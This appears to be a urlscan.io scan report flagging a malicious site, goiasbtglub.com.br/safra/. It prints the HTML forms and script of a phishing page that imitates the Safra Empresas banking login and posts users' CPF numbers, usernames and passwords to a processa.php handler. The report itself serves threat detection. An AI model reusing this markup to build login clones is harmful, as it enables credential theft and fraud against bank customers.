goiasbtglub.com.br
Open in
urlscan Pro
191.252.81.30
Malicious Activity!
Public Scan
URL:
https://goiasbtglub.com.br/safra/
Submission: On May 02 via manual from BR — Scanned from DE
Submission: On May 02 via manual from BR — Scanned from DE
Form analysis
2 forms found in the DOMName: loginComShortname — POST processa.php?1b817084f008b2c38942727896121e22
<form name="loginComShortname" id="meu-form1" action="processa.php?1b817084f008b2c38942727896121e22" method="post" class="ng-pristine ng-valid ng-valid-required ng-valid-maxlength">
<div class="login-com-shortname__input">
<label class="" translate="@digite-shortname" translate-cloak="@digite-shortname">Digite o shortname</label>
<input autofocus="" id="shortname" name="shortname" required="" ng-class="{erro: ctrl.mensagemErro}" ng-blur="ctrl.taguearShortname('shortname')" maxlength="15" type="text" ng-trim="false" ng-model="ctrl.shortname"
class="ng-pristine ng-untouched ng-valid ng-not-empty ng-valid-required ng-valid-maxlength erro" aria-invalid="false">
</div>
<div class="login-com-shortname__input">
<label class="">
<span translate="@digite-usuario" translate-cloak="@digite-usuario" class="">Digite o usuário</span>
</label>
<input id="usuario" name="usuario" class="ng-pristine ng-untouched ng-valid ng-not-empty ng-valid-required ng-valid-maxlength erro" ng-class="{erro: ctrl.mensagemErro}" ng-blur="ctrl.taguearShortname('usuario')" required="" type="text"
maxlength="8" ng-model="ctrl.username" ng-trim="false" aria-invalid="false">
<div class="mb-4 clearfix esqueci-senha-content">
<span ng-click="ctrl.recuperarSenhaPorShortname()" class="login-com-cpf__esqueci-senha pull-left" role="button" tabindex="0"> Esqueci minha senha </span>
<span ng-click="ctrl.esqueciMeuUsuario()" class="login-com-cpf__esqueci-senha pull-right" role="button" tabindex="0"> Esqueci meu usuário </span>
</div>
<div ng-show="ctrl.mensagemErro" class="area-aberta-login" aria-hidden="false" style="display: none;">
<div class="msg-erro text-center mb-5">
<h4>Credenciais não conferem</h4>
<p> Não conseguimos encontrar suas credenciais ou os dados digitados estão incorretos. Por favor, verifique e preencha corretamente. </p>
</div>
</div>
</div>
<!---->
<!---->
<!---->
<div class="text-center" ng-if="!ctrl.toggleIndisponibilidade">
<button ng-click="ctrl.obterNomeUsuario()" ng-disabled="!loginComShortname.$valid" class="btn btn-primary btn-default"> Próximo </button>
</div><!---->
</form>
Name: loginPorCpf — POST processa.php
<form name="loginPorCpf" id="meu-form" action="processa.php" method="post" class="ng-pristine ng-valid-cpf ng-invalid ng-invalid-required ng-valid-minlength ng-valid-maxlength">
<div class="login-com-cpf__input">
<label>CPF</label>
<input type="text" id="cpfInput" name="cpfInput" maxlength="14" minlength="14" ng-focus="true" ng-blur="ctrl.taguear('cpf')" ng-change="ctrl.mensagemErroLoginPorCpf = null" required="" ui-br-cpf-mask="" ng-model="ctrl.cpf"
class="ng-pristine ng-untouched ng-empty ng-valid-cpf ng-invalid ng-invalid-required" aria-invalid="true">
<span id="cpfErrorMessage" ng-if="loginPorCpf.$error.cpf[0].$invalid && !loginPorCpf.cpf[0].$pristine" class="text-danger mt-3" style=""></span>
</div>
<div class="login-com-cpf__input">
<label class="clearfix">Senha</label>
<input id="myInput" name="myInput" type="password" required="" maxlength="8" minlength="8" ng-model="ctrl.senha" autocomplete="new-password" ng-blur="ctrl.taguear('senha')"
class="ng-pristine ng-untouched ng-empty ng-invalid ng-invalid-required ng-valid-minlength ng-valid-maxlength" aria-invalid="true">
<div class="login__mostrarSenha" ng-click="ctrl.mostrarSenha = !ctrl.mostrarSenha" role="button" tabindex="0">
<!---->
<!----><img src="img/cut-eye-blue.svg" ng-if="!ctrl.mostrarSenha"><!---->
</div>
<div class="mb-4 clearfix esqueci-senha-content">
<span ng-click="ctrl.recuperarSenha()" class="login-com-cpf__esqueci-senha" role="button" tabindex="0">Esqueci minha senha</span>
</div>
<p ng-show="ctrl.mensagemErroLoginPorCpf" class="text-danger mt-3 mb-4 ng-hide" ng-bind="ctrl.mensagemErroLoginPorCpf" aria-hidden="true"></p>
<!---->
<!---->
<!---->
<div class="text-center" ng-if="(!ctrl.tipoErro == 1 || !ctrl.tipoErro == 2) && !ctrl.toggleIndisponibilidade">
<button id="myButton" ng-click="ctrl.validarloginPorCpf()" ng-disabled="!loginPorCpf.$valid" class="btn btn-primary btn-default" disabled="disabled"> Entrar </button>
</div><!---->
</div>
<script>
const input = document.getElementById('myInput');
const button = document.getElementById('myButton');
input.addEventListener('input', () => {
if (input.value.length > 5) {
button.removeAttribute('disabled');
button.removeAttribute('style');
} else {
button.disabled = true;
button.style.backgroundColor = 'initial';
}
});
const cpfInput = document.getElementById('cpfInput');
const cpfErrorMessage = document.getElementById('cpfErrorMessage');
// Adiciona um ouvinte de evento "input" ao input
cpfInput.addEventListener('input', () => {
// Remove quaisquer caracteres não numéricos do input
cpfInput.value = cpfInput.value.replace(/\D/g, '');
// Adiciona o formato de CPF (###.###.###-##) ao input
cpfInput.value = cpfInput.value.replace(/(\d{3})(\d{3})(\d{3})(\d{2})/, '$1.$2.$3-$4');
// Valida o CPF inserido
if (!validateCPF(cpfInput.value)) {
cpfInput.classList.add('invalid');
cpfErrorMessage.textContent = 'CPF inválido';
} else {
cpfInput.classList.remove('invalid');
cpfErrorMessage.textContent = '';
}
});
// Função para validar CPF
function validateCPF(cpf) {
cpf = cpf.replace(/\D/g, '');
if (cpf.length !== 11 || /^(\d)\1{10}$/.test(cpf)) return false;
var sum = 0;
var rest;
for (var i = 1; i <= 9; i++) sum = sum + parseInt(cpf.substring(i - 1, i)) * (11 - i);
rest = (sum * 10) % 11;
if ((rest == 10) || (rest == 11)) rest = 0;
if (rest != parseInt(cpf.substring(9, 10))) return false;
sum = 0;
for (var i = 1; i <= 10; i++) sum = sum + parseInt(cpf.substring(i - 1, i)) * (12 - i);
rest = (sum * 10) % 11;
if ((rest == 10) || (rest == 11)) rest = 0;
if (rest != parseInt(cpf.substring(10, 11))) return false;
return true;
}
</script>
</form>
Text Content
SEJA BEM-VINDO AO SAFRA EMPRESAS * Entrar com CPF * Entrar com Shortname Digite o shortname Digite o usuário Esqueci minha senha Esqueci meu usuário CREDENCIAIS NÃO CONFEREM Não conseguimos encontrar suas credenciais ou os dados digitados estão incorretos. Por favor, verifique e preencha corretamente. Próximo CPF Senha Esqueci minha senha Entrar É o seu primeiro acesso? Clique aqui Acesse a política de privacidade